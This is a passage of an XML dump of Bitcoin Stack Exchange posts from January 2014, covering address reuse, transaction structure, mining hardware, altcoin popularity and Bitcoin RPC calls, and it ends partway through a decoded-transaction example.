  <row Id="20620" PostTypeId="2" ParentId="20571" CreationDate="2014-01-15T19:14:31.123" Score="1" Body="&lt;p&gt;It seems that CPU based mining is not viable any more.  Even going to other cryptocurrency, which difficulty level should rise quicker as people mining bitcoin using hardware will mine these too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ah well, missed the bus :)&lt;/p&gt;&#xA;" OwnerUserId="12220" LastActivityDate="2014-01-15T19:14:31.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20621" PostTypeId="1" AcceptedAnswerId="42380" CreationDate="2014-01-15T19:15:34.150" Score="24" ViewCount="16905" Body="&lt;p&gt;Besides the obvious privacy implications, and (according to a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=139381.0&quot;&gt;bitcointalk.org forum post&lt;/a&gt;) the fact that once an address is used your coins that rest on it safety depend entirely on the ECDSA safety (as opposed to your coins being secure if at least two of ECDSA, SHA256 and RIPEMD are secure for any address that were never used to send BTC) - are there any other reasons why it is a bad idea to reuse the same address (for sending as well as receiving BTCs) frequently?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="5406" LastEditDate="2017-06-02T15:39:05.487" LastActivityDate="2022-12-15T22:31:57.577" Title="Is it safe to reuse a Bitcoin address?" Tags="|wallet-security|address-reuse|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20623" PostTypeId="2" ParentId="20611" CreationDate="2014-01-15T19:27:42.767" Score="12" Body="&lt;p&gt;It's in fact a little more advanced than you imagine it. (So expect this answer to be a bit more in-depth.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no such thing as an accounts &quot;balance&quot;. It only exists implicitly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When people make transactions, they actually create outputs for a certain amount of bitcoins. Using a &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow noreferrer&quot;&gt;special script language&lt;/a&gt;, the person making the transaction can specify the requirement for spending that output. There's a whole range of options you have to specify this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most common &lt;em&gt;output script&lt;/em&gt; is something that holds the following condition &quot;to spend this transaction, the spender must sign this hash with the private key from this address&quot;. So this basically means that the owner of that address can spend it. This are the type of outputs that you will probably generate when you &quot;send money to an address&quot;. They are called &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Standard_Transaction_to_Bitcoin_address_.28pay-to-pubkey-hash.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;pay-to-pubkey-hash&lt;/a&gt; transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other possible output scripts can be stupid things like &quot;anyone can spend this&quot; to very complex things like &quot;at least 3 of the private keys of the following 5 addresses must sign this hash&quot;, which is a so-called &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0011&quot; rel=&quot;nofollow noreferrer&quot;&gt;m-of-n transaction&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This brings us back to balances. When your wallet app says you have a balance of X btc, it just searches all &lt;em&gt;unspent outputs&lt;/em&gt; that you are able to spend with your private keys; this are all pay-to-pubkey-hash transactions with one of your addresses in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you want to spend some of the money from your &quot;balance&quot; and send it to an address, you will need to make a transaction. The way transactions are created is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Take a number of unspent outputs from previous transactions and use them as inputs.&lt;/li&gt;&#xA;&lt;li&gt;Make a new output of which the output amount is equal or less than the sum of all input values. Your wallet will most probably make this output a &lt;em&gt;pay-to-pubkey-hash&lt;/em&gt; output to the address you wanted to send money to.&lt;/li&gt;&#xA;&lt;li&gt;Because probably the inputs will not exactly match, you will add another output so that the sum of all new outputs is equal to the sum of the inputs. This output will also be a &lt;em&gt;pay-to-pubkey-hash&lt;/em&gt; output to a new change address or to the same address as you are spending from (different wallet apps do this differently).&lt;/li&gt;&#xA;&lt;li&gt;Note that if the total output amount is less than the total input amount, the difference is considered the transaction fee and this will go to the miner of the block your transaction will appear in.&lt;/li&gt;&#xA;&lt;li&gt;Then lastly the wallet app has to prove it has the right to spend the inputs you used in the transaction. It can do this to provide an &lt;em&gt;input script&lt;/em&gt; (technically it's called a &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#Verification&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;scriptSig&lt;/em&gt;&lt;/a&gt;). For the common pay-to-pubkey-hash, this script will contain your public key and the signature you made with your private key. This input script is used by miners to verify if you have the right to make this transaction.&lt;/li&gt;&#xA;&lt;li&gt;The transaction is then broadcast to the Bitcoin network.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After this transaction has been received by other clients and is verified by a miner, all clients will remove the outputs used in the transaction from their collection of &quot;unspent outputs&quot;. So if you would try to spend it again, that won't be possible because miners will not accept it because the output you want to spend does not exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you can understand that using this methodology, it is not possible to do a thing like &quot;subtract the amount from person A's balance and add it to person B's balance&quot;. When making transactions, you basically &lt;em&gt;destroy&lt;/em&gt; some outputs to generate new ones.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2019-02-27T14:12:39.430" LastActivityDate="2019-02-27T14:12:39.430" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="20624" PostTypeId="2" ParentId="20523" CreationDate="2014-01-15T19:27:59.530" Score="0" Body="&lt;p&gt;I actually do receive the inv message. The problem is in the way that I try to decode the inv message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The getblocks message seems to work fine.&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2014-01-15T19:27:59.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20625" PostTypeId="1" CreationDate="2014-01-15T19:41:56.260" Score="4" ViewCount="413" Body="&lt;p&gt;Is there any possibility to explore transaction chain via Original Bitcoin API (&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;) as the blockexplorer does it.&#xA;If not, why?&lt;/p&gt;&#xA;" OwnerUserId="12252" LastEditorUserId="12252" LastEditDate="2014-01-15T19:52:42.180" LastActivityDate="2016-03-26T14:43:55.560" Title="How to explore transaction chain via Original Bitcoin API as blockexplorer does it" Tags="|transactions|api|json-rpc|blockexplorer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20627" PostTypeId="1" AcceptedAnswerId="20640" CreationDate="2014-01-15T19:51:18.877" Score="2" ViewCount="2377" Body="&lt;p&gt;Referring to &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;,&#xA;I`m using getrawtrasaction method call to define as much information about incoming payment transaction details as possibe. Is there any detailed information about fields that are returned by getrawtransaction method? &#xA;For example what means &quot;vout&quot; field? How can be useful &quot;scriptSig&quot; field that consists of &quot;asm&quot; and &quot;hex&quot;?&lt;/p&gt;&#xA;" OwnerUserId="12252" LastActivityDate="2017-09-06T21:03:17.237" Title="getrawtransaction method in details" Tags="|transactions|bitcoind|api|json-rpc|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20628" PostTypeId="2" ParentId="20621" CreationDate="2014-01-15T19:56:42.650" Score="2" Body="&lt;p&gt;It is absolutely safe at the moment since ECDSA is considered safe. People rather don't like to reuse to preserve anonymity or make coins harder to steal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because addresses in Bitcoin are not published directly in terms of the public key, but a hash of it. This way nobody can link the hash to the corresponding public key as long as the contained coins are not spend in an transaction. Then the holder of the coins needs to prove ownership by revealing the public key in order to enable others to validate the signature.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="-1" LastEditDate="2018-08-31T22:11:08.513" LastActivityDate="2018-08-31T22:11:08.513" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20629" PostTypeId="1" AcceptedAnswerId="20666" CreationDate="2014-01-15T20:04:23.433" Score="0" ViewCount="647" Body="&lt;p&gt;Despite the fact that bockexplorer allows to navigate through transaction details and discover the sender address,&#xA;why via bitcoin client the sender address remains 'undefined'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to discover sender address via original Bitcoin API? &lt;/p&gt;&#xA;" OwnerUserId="12252" LastEditorUserId="12252" LastEditDate="2014-01-15T20:16:32.527" LastActivityDate="2014-02-20T21:12:44.143" Title="Why on bitcoin client sender address is 'undefined'" Tags="|transactions|bitcoin-core|client|api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20633" PostTypeId="2" ParentId="19951" CreationDate="2014-01-15T21:59:04.873" Score="-1" Body="&lt;p&gt;Don't use the SDK.  I don't think that it's necessary anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try uninstalling ALL AMD drivers (SDK and GPU), then reinstall just the Catalyst drivers.  See if that helps.&lt;/p&gt;&#xA;" OwnerUserId="12264" LastActivityDate="2014-01-15T21:59:04.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20634" PostTypeId="1" CreationDate="2014-01-15T22:06:39.123" Score="0" ViewCount="365" Body="&lt;p&gt;I'm getting a connection error, or just a &quot;connecting...&quot; message that doesn't stop. though the connection on my end seems to be fine. This is a printout of my console. If there is already a fix for this, would someone please direct me to it? This is a screenshot of my console. I'm connecting to slush's pool if that helps.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GetfL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/GetfL.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12266" LastEditorUserId="5406" LastEditDate="2016-04-24T08:52:03.983" LastActivityDate="2016-06-23T12:10:47.470" Title="GUIminer, unnable to connect to pool" Tags="|miner-configuration|error|connection|guiminer|slush|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20635" PostTypeId="1" AcceptedAnswerId="20636" CreationDate="2014-01-15T22:12:12.073" Score="10" ViewCount="47130" Body="&lt;p&gt;In cryptsy, I see that one 42coin is trading at &gt;900 BTC. Just wondering what is 42coin and why it is highly priced?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2018-12-13T12:33:16.680" Title="What is 42Coin? Why it is highly priced?" Tags="|altcoin|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20636" PostTypeId="2" ParentId="20635" CreationDate="2014-01-15T22:16:31.063" Score="3" Body="&lt;p&gt;Just found this useful link about it: &lt;a href=&quot;http://www.businessinsider.com/introducing-42coin-2014-1&quot; rel=&quot;nofollow&quot;&gt;http://www.businessinsider.com/introducing-42coin-2014-1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-01-15T22:16:31.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20638" PostTypeId="1" CreationDate="2014-01-15T22:54:50.883" Score="1" ViewCount="186" Body="&lt;p&gt;Scenario: You have a website running on a &lt;strong&gt;remote&lt;/strong&gt; server, and you want to accept BTC donations to a specific address (most likely yours) and to display a &quot;Thank you&quot; message automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you determine programmatically if a payment to said address happened? Is it even possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using bitcoind in this case is not possible because the Bitcoin wallet is not on the server, so what could one use? &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;'s API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12272" LastActivityDate="2014-01-15T23:08:12.800" Title="How to determine if a BTC payment has been done" Tags="|confirmations|payment|payment-processors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20640" PostTypeId="2" ParentId="20627" CreationDate="2014-01-15T23:01:41.903" Score="0" Body="&lt;p&gt;A bitcoin transaction takes a number of inputs and spends those input to the specified outputs. If the value of inputs exceeds outputs the network treats that as a miner's fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vout is the list of output transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scriptSig is only useful if you're trying to do some non-standard stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transactions&lt;/a&gt; for more information on what's in a transaction.&lt;/p&gt;&#xA;" OwnerUserId="2028" LastActivityDate="2014-01-15T23:01:41.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20641" PostTypeId="2" ParentId="20638" CreationDate="2014-01-15T23:08:12.800" Score="1" Body="&lt;p&gt;blockchain.info does work to monitor the blockchain. Here's a couple of other ideas...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the wallet server is connected to the internet, have it monitor the address (perhaps using the -walletnotify option) and then create a message queue (e.g. amazon sqs). When a wallet transaction happens PUSH the relevant info into the message queue. The web server then monitors the message queue, POPs the message and takes appropriate steps.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also look into the Watch Only pull request for bitcoind. This pull request has not been incorporated into the main bitcoind, but you could compile it into your own modified version. You then would need to add the public address to the Watch Only wallet. This modified version of bitcoind could then reside on your web server without the fear of compromising private keys.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="2028" LastActivityDate="2014-01-15T23:08:12.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20642" PostTypeId="2" ParentId="19217" CreationDate="2014-01-15T23:17:35.650" Score="0" Body="&lt;p&gt;You use the explorer and typing the ip adresse for the prospero, and then you get a web interface for setup.&lt;/p&gt;&#xA;" OwnerUserId="12275" LastActivityDate="2014-01-15T23:17:35.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20644" PostTypeId="2" ParentId="12537" CreationDate="2014-01-16T00:40:14.407" Score="1" Body="&lt;p&gt;If you mean a ticker that is constantly up to date then yes. See &lt;a href=&quot;https://hdbtce.kayako.com/Knowledgebase/Article/View/28/4/public-api&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; .&#xA; As far as a way for pulling that data here is a php example: &lt;a href=&quot;https://stackoverflow.com/questions/21021266/parsing-json-data-from-a-remote-server&quot;&gt;https://stackoverflow.com/questions/21021266/parsing-json-data-from-a-remote-server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12282" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-01-16T00:40:14.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20645" PostTypeId="1" CreationDate="2014-01-16T01:15:16.927" Score="-4" ViewCount="1257" Body="&lt;p&gt;I plan on mining &lt;a href=&quot;http://en.wikipedia.org/wiki/Litecoin&quot; rel=&quot;nofollow&quot;&gt;litecoins&lt;/a&gt;, but I'm somewhat late and new into the game. Would it be better for me to get a video card later, tight on budget? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to do the math. There isn't any overhead costs; I just want to build and let it run. I can build three rigs, all with 2 x &lt;a href=&quot;http://en.wikipedia.org/wiki/LGA_2011#Server_.28Xeon_E5-16xx.2F26xx.29&quot; rel=&quot;nofollow&quot;&gt;E5 2620&lt;/a&gt; and 32&amp;nbsp;GB RAM. How much would I produce per day? &lt;/p&gt;&#xA;" OwnerUserId="12284" LastEditorUserId="5406" LastEditDate="2016-04-25T20:56:57.647" LastActivityDate="2016-04-25T20:56:57.647" Title="Can I mine with an E5 2620 CPU?" Tags="|litecoin|mining-profitability|cpu|" AnswerCount="3" CommentCount="4" ClosedDate="2014-01-26T16:36:17.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="20646" PostTypeId="2" ParentId="20557" CreationDate="2014-01-16T01:31:55.803" Score="1" Body="&lt;p&gt;all the new accounts created since a few months have to be verified for any withdrawals, including bitcoins, as stated in a big warning on every page of mtgox : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Attention Users: All withdrawals and deposits require account verification.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so yes you ll have to wait for your verification to be processed before you can withdraw anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the delays seem to be around 5-6 weeks, so . ..  if you already waited one month you should soon get an answer, you will  receive an email when your verification is processed.&lt;/p&gt;&#xA;" OwnerUserId="558" LastActivityDate="2014-01-16T01:31:55.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20647" PostTypeId="2" ParentId="20645" CreationDate="2014-01-16T01:32:18.270" Score="-2" Body="&lt;p&gt;Better mine new alt coin and then convert them into litecoin that will be more convenient. Have a look on coinchoose.com to select a coin with less difficulty and which website is trading them.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-16T01:32:18.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20648" PostTypeId="2" ParentId="20627" CreationDate="2014-01-16T01:38:11.340" Score="0" Body="&lt;p&gt;Yeah, check out this excellent &lt;a href=&quot;http://grantammons.me/2014/01/17/bitcoin-litecoin-dogecoin-exploring-the-block-chain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="2306" LastEditDate="2017-09-06T21:03:17.237" LastActivityDate="2017-09-06T21:03:17.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20649" PostTypeId="1" AcceptedAnswerId="20727" CreationDate="2014-01-16T02:04:09.410" Score="9" ViewCount="474" Body="&lt;p&gt;I have seen referred in a couple of locations (&lt;a href=&quot;https://github.com/bitwisebank/btcd&quot;&gt;bitcd&lt;/a&gt; and &lt;a href=&quot;https://code.google.com/p/bitcoinj/wiki/FullVerification&quot;&gt;bitcoinj&lt;/a&gt;) that fully verifying clients should match the satoshi bitcoind client implementation, &lt;strong&gt;including its bugs&lt;/strong&gt;, presumably to prevent splitting the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the bugs that need replicating are in the block acceptance rules, however I failed to find any specific references to the issues in question. The main &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot;&gt;Bitcoin Protocol Specification&lt;/a&gt; doesn't seem to mention any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please explain (or link to a document that explains) these bugs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The references that triggered my curiosity are the following (my emphasis):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://github.com/bitwisebank/btcd&quot;&gt;bitcd&lt;/a&gt; : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It currently properly downloads, validates, and serves the block chain&#xA;  using the exact rules (&lt;strong&gt;including bugs&lt;/strong&gt;) for block acceptance as the&#xA;  reference implementation (bitcoind).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://code.google.com/p/bitcoinj/wiki/FullVerification&quot;&gt;bitcoinj&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To be safe, bitcoinj must match the behavior of Satoshis code exactly,&#xA;  &lt;strong&gt;including all the bugs&lt;/strong&gt;. Any deviation at all can be potentially used&#xA;  to split the consensus.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8728" LastEditorUserId="8728" LastEditDate="2014-01-17T07:59:10.210" LastActivityDate="2014-01-17T13:12:42.833" Title="Satoshi's bitcoind implementation bugs" Tags="|bitcoind|client|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20650" PostTypeId="1" AcceptedAnswerId="20657" CreationDate="2014-01-16T02:07:25.563" Score="2" ViewCount="2052" Body="&lt;p&gt;I am trying to determine which crypto currencies are the most popular with the assumption that Bitcoin is the most popular one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is up to different interpretations because &quot;most popular&quot; can be viewed many different ways and that is why I am here asking this question.  Most popular could be based on the most real world use, the most media interest, the most valuable, or the most number of people mining or the most processing power used in mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know your opinion based on solid facts of the current state of crypto currencies.  It could be that another crypto currency is more popular than Bitcoin based on your rank, and I doubt that, but that is why I want the help from experts here.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="5406" LastEditDate="2016-04-10T12:14:52.490" LastActivityDate="2021-06-27T12:37:31.423" Title="What are the most popular crypto currencies after Bitcoin?" Tags="|alternatives|currencies|" AnswerCount="3" CommentCount="1" ClosedDate="2021-06-30T18:11:44.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="20652" PostTypeId="2" ParentId="20650" CreationDate="2014-01-16T03:19:08.733" Score="3" Body="&lt;p&gt;google news on my phone had an article yesterday.   LiteCoin, DogeCoin, Quark, NameCoin, PeerCoin      ( Dogecoin is a less serious to take)   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is king, will it be unseated... not in 2014.  Litecoin is clearly 2nd,  there is no other second choice for 2014 ,  Perhaps PeerCoin, Namecoin, WorldCoin or something with surpass Litecoin in the future, but to overtake bitcoin when there is Overstock.com accepting it,  ATM's being made for Bitcoin, it is the king.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alt coins are fun to mine if you have a good AMD GPU etc.. , but you have to weigh the cost of electricity, or be into flipping coins for better ones on an exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have mined for several.  Bought several, flipped several.....  it is obviously a high risk.  To me is it a safer gamble than the lottery or casino's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a ranking chart of the difficulty of mining various coins.  More they are mined the more difficult.  A friend of mine has the open rigs and has 3-4 computers in crates with like 10-12  AMD R9 280x GPU cards, and those are like 400-500 bucks each GPU.     You can easily mine for &quot;fun&quot; if you wish, Coinye is like a super easy coin to mine. I don't think it is traded/ has value yet or if ever.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple you can buy for 0.02 cents , go to Wells Fargo and buy it through them...  &lt;/p&gt;&#xA;" OwnerUserId="12274" LastActivityDate="2014-01-16T03:19:08.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20653" PostTypeId="2" ParentId="20645" CreationDate="2014-01-16T03:24:14.270" Score="1" Body="&lt;p&gt;Using a CPU is a bad idea; a GPU is better. Good AMD...  The best AMDs are hard to find or impossible to find, but the AMD R9 280x and 290x you can find (second-hand on eBay if you don't see them on &lt;a href=&quot;http://en.wikipedia.org/wiki/Newegg&quot; rel=&quot;nofollow&quot;&gt;Newegg&lt;/a&gt;, etc..) Sort the chart by GPU, or in your case CPU, search for your CPU...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to play with mining with an i7-3770, and it wouldn't. I don't have any idea why. I had to tell &lt;a href=&quot;https://en.bitcoin.it/wiki/CGMiner&quot; rel=&quot;nofollow&quot;&gt;CGMiner&lt;/a&gt; to use my GPU which is NOT an AMD, thus horrible. I could mine &lt;a href=&quot;http://en.wikipedia.org/wiki/Coinye&quot; rel=&quot;nofollow&quot;&gt;Coinye&lt;/a&gt; coins, but who cares about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page &lt;em&gt;&lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Mining hardware comparison&lt;/a&gt;&lt;/em&gt; is great for your question.&lt;/p&gt;&#xA;" OwnerUserId="12274" LastEditorUserId="1405" LastEditDate="2014-01-16T14:11:11.317" LastActivityDate="2014-01-16T14:11:11.317" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20654" PostTypeId="2" ParentId="20634" CreationDate="2014-01-16T03:26:54.593" Score="-1" Body="&lt;p&gt;use the GUIMiner-scrypt instead .... I could not get the guiminer to work. &lt;/p&gt;&#xA;" OwnerUserId="12274" LastActivityDate="2014-01-16T03:26:54.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20657" PostTypeId="2" ParentId="20650" CreationDate="2014-01-16T04:38:56.783" Score="4" Body="&lt;p&gt;If an online store accepts another crypto-currency appart from Bitcoin, you can be sure 90% of the time it'll be Litecoin (most accept just Bitcoin as of now). It's the one that has the 2nd biggest market capitalization and market depth as well. As to what could be the 3rd most popular, that's difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Popularity&quot; is difficult to measure directly, but you can use value in fiat as a proxy. Right now, several crypto-coins are valuable about 1 US dollar or more: just go to &lt;a href=&quot;http://cryptsy.com&quot; rel=&quot;nofollow&quot;&gt;cryptsy&lt;/a&gt; or to &lt;a href=&quot;http://coinwarz.com&quot; rel=&quot;nofollow&quot;&gt;coinwarz&lt;/a&gt;and check the market prices (given in bitcoins). Given current prices of bitcoin in USD anything more valuable than one milli-bitcoin is worth aprox. a dollar, a lot of coins are worth more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another proxy you can take is how frequently you see ads of people asking for donations or offering their services in exchange of that currency - that way, you'll see humble dogecoin being asked/offered a lot, where as protoshares/quarks are almost never asked for in spite of their value. Other coins worth more than a dollar (like prime, name or PPC) would take the lead here based on this metric.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-01-16T04:38:56.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20658" PostTypeId="2" ParentId="20649" CreationDate="2014-01-16T06:21:24.997" Score="2" Body="&lt;p&gt;One example of such bug lead to &lt;a href=&quot;http://bitcoin.org/en/alert/2013-03-11-chain-fork&quot; rel=&quot;nofollow&quot;&gt;chain fork in May 2013&lt;/a&gt;: newer clients (and miners) did support large blocks, while older ones did not (due to using other database engine). More technical details &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0050.mediawiki#Root_cause&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another potential example is discussed &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/2256&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;: certain types of transactions take a very long time to be verified by standard client. Including such transaction in block will delay its validation and there's a chance someone will probably mine a &quot;better&quot; block and the slow one will be orphaned. However, it might lead to chain fork if significant portion of miners use faster verification code.&lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2014-01-16T06:21:24.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20666" PostTypeId="2" ParentId="20629" CreationDate="2014-01-16T09:35:53.653" Score="2" Body="&lt;p&gt;Yes, it is possible. You can use &lt;code&gt;getrawtransaction &amp;lt;txid&amp;gt;&lt;/code&gt; and &lt;code&gt;decoderawtransaction &amp;lt;output from getrawtransaction&amp;gt;&lt;/code&gt;. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getrawtransaction 6dcaa5e7f412a9c14d0f87a2660907c37de5abac31823c22fba978b6fd616313&#xA;010000000105bbdd4f69478586a192f4904f51229690ae7f17703a8410f983c072658eb611c60200006a47304402200c64714e605c1ad63e5a52b2d4a734c3a6174e2d6a4e0aa7fcff99ec8c1451a902202005bed9f7f2969bf86989cbe295aab3d51ba77b2faf9def6010b04f24183e450121024209026dda4b136d55f92e36fb4fdf23a8beb129d872838a122a9d1e55c9f838ffffffff0240f3ad00000000001976a91452bf43c4d410b5971a37c304ba96b53dc5da7f5f88acc8a10000000000001976a914bcccc2b493e31afd0767448c8f7d7d5d6823164888ac00000000&#xA;&#xA;decoderawtransaction 010000000105bbdd4f69478586a192f4904f51229690ae7f17703a8410f983c072658eb611c60200006a47304402200c64714e605c1ad63e5a52b2d4a734c3a6174e2d6a4e0aa7fcff99ec8c1451a902202005bed9f7f2969bf86989cbe295aab3d51ba77b2faf9def6010b04f24183e450121024209026dda4b136d55f92e36fb4fdf23a8beb129d872838a122a9d1e55c9f838ffffffff0240f3ad00000000001976a91452bf43c4d410b5971a37c304ba96b53dc5da7f5f88acc8a10000000000001976a914bcccc2b493e31afd0767448c8f7d7d5d6823164888ac00000000&#xA;{&#xA;&quot;txid&quot; : &quot;6dcaa5e7f412a9c14d0f87a2660907c37de5abac31823c22fba978b6fd616313&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [{&#xA;    &quot;txid&quot; : &quot;11b68e6572c083f910843a70177fae909622514f90f492a1868547694fddbb05&quot;,&#xA;    &quot;vout&quot; : 710,&#xA;    &quot;scriptSig&quot; : {&#xA;        &quot;asm&quot; : &quot;304402200c64714e605c1ad63e5a52b2d4a734c3a6174e2d6a4e0aa7fcff99ec8c1451a902202005bed9f7f2969bf86989cbe295aab3d51ba77b2faf9def6010b04f24183e4501 024209026dda4b136d55f92e36fb4fdf23a8beb129d872838a122a9d1e55c9f838&quot;,&#xA;        &quot;hex&quot; : 